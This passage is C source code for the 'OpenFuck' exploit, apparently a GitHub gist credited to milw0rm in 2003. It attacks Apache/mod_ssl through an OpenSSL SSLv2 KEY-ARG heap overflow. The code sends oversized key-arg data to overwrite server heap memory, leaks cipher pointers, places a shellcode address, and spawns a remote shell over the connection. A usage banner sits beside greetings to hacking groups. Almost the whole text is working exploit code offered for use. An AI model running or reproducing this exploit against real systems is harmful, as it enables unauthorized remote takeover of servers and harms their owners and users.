n2s(p, server_version); | |
if (server_version != 2) { | |
printf("get_server_hello: Unsupported server version %d\n", server_version); | |
exit(1); | |
} | |
n2s(p, cert_length); | |
n2s(p, cs_length); | |
n2s(p, conn_id_length); | |
if (len != 11 + cert_length + cs_length + conn_id_length) { | |
printf("get_server_hello: Malformed packet size\n"); | |
exit(1); | |
} | |
/* read the server certificate */ | |
ssl->x509 = NULL; | |
ssl->x509=d2i_X509(NULL,&p,(long)cert_length); | |
if (ssl->x509 == NULL) { | |
printf("get server hello: Cannot parse x509 certificate\n"); | |
exit(1); | |
} | |
if (cs_length % 3 != 0) { | |
printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n"); | |
exit(1); | |
} | |
found = 0; | |
for (end=p+cs_length; p < end; p += 3) { | |
if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) | |
found = 1; /* SSL CK RC4 128 WITH MD5 */ | |
} | |
if (!found) { | |
printf("get server hello: Remote server does not support 128 bit RC4\n"); | |
exit(1); | |
} | |
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) { | |
printf("get server hello: CONNECTION-ID-LENGTH is too long\n"); | |
exit(1); | |
} | |
/* The connection id is sent back to the server in the CLIENT FINISHED packet */ | |
ssl->conn_id_length = conn_id_length; | |
memcpy(ssl->conn_id, p, conn_id_length); | |
} | |
/* Send a CLIENT MASTER KEY message to the server */ | |
void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) { | |
int encrypted_key_length, key_arg_length, record_length; | |
unsigned char* p; | |
int i; | |
EVP_PKEY *pkey=NULL; | |
unsigned char buf[BUFSIZE] = | |
"\x02" /* client master key message */ | |
"\x01\x00\x80" /* cipher kind */ | |
"\x00\x00" /* clear key length */ | |
"\x00\x40" /* encrypted key length */ | |
"\x00\x08"; /* key arg length */ | |
p = &buf[10]; | |
/* generate a 128 byte master key */ | |
for (i = 0; i < RC4_KEY_LENGTH; i++) { | |
ssl->master_key[i] = (unsigned char) (rand() >> 24); | |
} | |
pkey=X509_get_pubkey(ssl->x509); | |
if (!pkey) { | |
printf("send client master key: No public key in the server certificate\n"); | |
exit(1); | |
} | |
if (pkey->type != EVP_PKEY_RSA) { | |
printf("send client master key: The public key in the server certificate is not a RSA key\n"); | |
exit(1); | |
} | |
/* Encrypt the client master key with the server public key and put it in the packet */ | |
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING); | |
if (encrypted_key_length <= 0) { | |
printf("send client master key: RSA encryption failure\n"); | |
exit(1); | |
} | |
p += encrypted_key_length; | |
if (key_arg_overwrite) { | |
/* These 8 bytes fill the key arg array on the server */ | |
for (i = 0; i < 8; i++) { | |
*(p++) = (unsigned char) (rand() >> 24); | |
} | |
/* This overwrites the data following the key arg array */ | |
memcpy(p, key_arg_overwrite, key_arg_overwrite_len); | |
key_arg_length = 8 + key_arg_overwrite_len; | |
} | |
else { | |
key_arg_length = 0; /* RC4 doesn't use KEY-ARG */ | |
} | |
p = &buf[6]; | |
s2n(encrypted_key_length, p); | |
s2n(key_arg_length, p); | |
record_length = 10 + encrypted_key_length + key_arg_length; | |
send_ssl_packet(ssl, buf, record_length); | |
ssl->encrypted = 1; | |
} | |
void generate_key_material(ssl_conn* ssl) | |
{ | |
unsigned int i; | |
MD5_CTX ctx; | |
unsigned char *km; | |
unsigned char c='0'; | |
km=ssl->key_material; | |
for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) { | |
MD5_Init(&ctx); | |
MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH); | |
MD5_Update(&ctx,&c,1); | |
c++; | |
MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH); | |
MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length); | |
MD5_Final(km,&ctx); | |
km+=MD5_DIGEST_LENGTH; | |
} | |
} | |
void generate_session_keys(ssl_conn* ssl) | |
{ | |
generate_key_material(ssl); | |
ssl->read_key = &(ssl->key_material[0]); | |
ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); | |
RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key); | |
ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]); | |
ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); | |
RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key); | |
} | |
void get_server_verify(ssl_conn* ssl) | |
{ | |
unsigned char buf[BUFSIZE]; | |
int len; | |
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
exit(1); | |
} | |
if (len != 1 + CHALLENGE_LENGTH) { | |
printf("get server verify: Malformed packet size\n"); | |
exit(1); | |
} | |
if (buf[0] != SSL2_MT_SERVER_VERIFY) { | |
printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]); | |
exit(1); | |
} | |
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) { | |
printf("get server verify: Challenge strings don't match\n"); | |
exit(1); | |
} | |
} | |
void send_client_finished(ssl_conn* ssl) | |
{ | |
unsigned char buf[BUFSIZE]; | |
buf[0] = SSL2_MT_CLIENT_FINISHED; | |
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length); | |
send_ssl_packet(ssl, buf, 1+ssl->conn_id_length); | |
} | |
void get_server_finished(ssl_conn* ssl) | |
{ | |
unsigned char buf[BUFSIZE]; | |
int len; | |
int i; | |
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) { | |
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1]))); | |
exit(1); | |
} | |
if (buf[0] != SSL2_MT_SERVER_FINISHED) { | |
printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]); | |
exit(1); | |
} | |
if (len <= 112 /*17*/) { | |
printf("This server is not vulnerable to this attack.\n"); | |
exit(1); | |
} | |
cipher = *(int*)&buf[101]; | |
ciphers = *(int*)&buf[109]; | |
printf("cipher: 0x%x ciphers: 0x%x\n", cipher, ciphers); | |
} | |
void get_server_error(ssl_conn* ssl) | |
{ | |
unsigned char buf[BUFSIZE]; | |
int len; | |
if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) { | |
printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]); | |
exit(1); | |
} | |
} | |
void usage(char* argv0) | |
{ | |
int i; | |
printf(": Usage: %s target box [port] [-c N]\n\n", argv0); | |
printf(" target - supported box eg: 0x00\n"); | |
printf(" box - hostname or IP address\n"); | |
printf(" port - port for ssl connection\n"); | |
printf(" -c open N connections. (use range 40-50 if u dont know)\n"); | |
printf(" \n\n"); | |
printf(" Supported OffSet:\n"); | |
for (i=0; i<=MAX_ARCH; i++) { | |
printf("\t0x%02x - %s\n", i, architectures[i].desc); | |
} | |
printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n"); | |
exit(1); | |
} | |
int main(int argc, char* argv[]) | |
{ | |
char* host; | |
int port = 443; | |
int i; | |
int arch; | |
int N = 0; | |
ssl_conn* ssl1; | |
ssl_conn* ssl2; | |
printf("\n"); | |
printf("*******************************************************************\n"); | |
printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n"); | |
printf("*******************************************************************\n"); | |
printf("* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *\n"); | |
printf("* #hackarena irc.brasnet.org *\n"); | |
printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n"); | |
printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n"); | |
printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n"); | |
printf("*******************************************************************\n"); | |
printf("\n"); | |
if ((argc < 3) || (argc > 6)) | |
usage(argv[0]); | |
sscanf(argv[1], "0x%x", &arch); | |
if ((arch < 0) || (arch > MAX_ARCH)) | |
usage(argv[0]); | |
host = argv[2]; | |
if (argc == 4) | |
port = atoi(argv[3]); | |
else if (argc == 5) { | |
if (strcmp(argv[3], "-c")) | |
usage(argv[0]); | |
N = atoi(argv[4]); | |
} | |
else if (argc == 6) { | |
port = atoi(argv[3]); | |
if (strcmp(argv[4], "-c")) | |
usage(argv[0]); | |
N = atoi(argv[5]); | |
} | |
srand(0x31337); | |
for (i=0; i<N; i++) { | |
printf("\rConnection... %d of %d", i+1, N); | |
fflush(stdout); | |
connect_host(host, port); | |
usleep(100000); | |
} | |
if (N) printf("\n"); | |
printf("Establishing SSL connection\n"); | |
ssl1 = ssl_connect_host(host, port); | |
ssl2 = ssl_connect_host(host, port); | |
send_client_hello(ssl1); | |
get_server_hello(ssl1); | |
send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1); | |
generate_session_keys(ssl1); | |
get_server_verify(ssl1); | |
send_client_finished(ssl1); | |
get_server_finished(ssl1); | |
printf("Ready to send shellcode\n"); | |
port = get_local_port(ssl2->sock); | |
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff); | |
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff); | |
*(int*)&overwrite_next_chunk[156] = cipher; | |
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12; | |
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */ | |
send_client_hello(ssl2); | |
get_server_hello(ssl2); | |
send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1); | |
generate_session_keys(ssl2); | |
get_server_verify(ssl2); | |
for (i = 0; i < ssl2->conn_id_length; i++) { | |
ssl2->conn_id[i] = (unsigned char) (rand() >> 24); | |
} | |
send_client_finished(ssl2); | |
get_server_error(ssl2); | |
printf("Spawning shell...\n"); | |
sleep(1); | |
sh(ssl2->sock); | |
close(ssl2->sock); | |
close(ssl1->sock); | |
return 0; | |
} | |
/* spabam: It isn't 0day */ | |
// milw0rm.com [2003-04-04] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment